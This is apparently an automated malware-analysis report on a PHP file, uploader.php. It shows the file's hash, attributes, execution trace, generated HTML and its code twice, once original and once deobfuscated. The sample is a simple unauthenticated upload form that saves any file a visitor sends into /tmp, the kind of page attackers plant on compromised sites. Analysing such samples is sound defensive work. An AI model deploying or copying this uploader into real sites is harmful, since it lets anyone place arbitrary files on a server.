PHP Malware Analysis
uploader.php
md5: e7aa95e6a59c8f89131ab44c924cea8c
Jump to:
- Deobfuscated code (Read more)
- Execution traces (Read more)
- Generated HTML (Read more)
- Original Code (Read more)
Screenshot
Attributes
Files
- move_uploaded_file (Deobfuscated, Original)
Input
- _FILES (Deobfuscated, Original)
Title
- Avinash Kumar Thapa (Deobfuscated, HTML, Original)
URLs
- http://www.w3.org/1999/xhtml (Deobfuscated, HTML, Original)
- http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd (Deobfuscated, HTML, Original)
Deobfuscated PHP code
http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Avinash Kumar Thapa</title>
</head>
<body bgcolor="white">
<?php
$uploaddir = '/tmp/';
// Change the directory as per the requirement
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
print "<body bgcolor=#000></br></br><div\n\nalign=center><font size=5 color=#ff0000>uploaded successfully</font></body>";
} else {
print "<body\n\nbgcolor=#000></br></br><div align=center><font size=5 color=#ff0000Error !\n</font> <marquee> Acid </marquee> </body>";
}
?>
<div style=" color:#F00;text-align:center; margin-top:60px; font-size:25px;
">>> Upload Your file </div>
<div style="padding-top:75px;margin-left:450px;width:340px; height:70px;">
<form enctype="multipart/form-data" action=" " method="post">
<input name="userfile" type="file" />
<input type="submit" value="Upload" />
</form>
</div>
</body>
</html><!--
Execution traces
data/traces/e7aa95e6a59c8f89131ab44c924cea8c_trace-1676261985.5989.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 02:20:11.496762]
1 0 1 0.000141 393528
1 3 0 0.000199 396472 {main} 1 /var/www/html/uploads/uploader.php 0 0
1 A /var/www/html/uploads/uploader.php 9 $uploaddir = '/tmp/'
2 4 0 0.000246 396472 basename 0 /var/www/html/uploads/uploader.php 10 1 NULL
2 4 1 0.000259 396536
2 4 R ''
1 A /var/www/html/uploads/uploader.php 10 $uploadfile = '/tmp/'
2 5 0 0.000289 396472 move_uploaded_file 0 /var/www/html/uploads/uploader.php 11 2 NULL '/tmp/'
2 5 1 0.000303 396544
2 5 R FALSE
1 3 1 0.000317 396472
0.000342 314352
TRACE END [2023-02-13 02:20:11.496991]
Generated HTML code
<html xmlns="http://www.w3.org/1999/xhtml"><head></head><body bgcolor="white">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Avinash Kumar Thapa</title>
<br><br><div align="center"><font size="5" color="#ff0000Error" !="" <="" font=""> <marquee> Acid </marquee> <div style=" color:#F00;text-align:center; margin-top:60px; font-size:25px;
">>> Upload Your file </div>
<div style="padding-top:75px;margin-left:450px;width:340px; height:70px;">
<form enctype="multipart/form-data" action=" " method="post">
<input name="userfile" type="file">
<input type="submit" value="Upload">
</form>
</div>
</font></div></body></html>Original PHP code
http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Avinash Kumar Thapa</title>
</head>
<body bgcolor="white">
<?php
$uploaddir = '/tmp/'; // Change the directory as per the requirement
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if(move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)) { print '<body bgcolor=#000></br></br><div
align=center><font size=5 color=#ff0000>uploaded successfully</font></body>';
} else { print '<body
bgcolor=#000></br></br><div align=center><font size=5 color=#ff0000Error !
</font> <marquee> Acid </marquee> </body>'; }
?>
<div style=" color:#F00;text-align:center; margin-top:60px; font-size:25px;
">>> Upload Your file </div>
<div style="padding-top:75px;margin-left:450px;width:340px; height:70px;">
<form enctype="multipart/form-data" action=" " method="post">
<input name="userfile" type="file" />
<input type="submit" value="Upload" />
</form>
</div>
</body>
</html><!--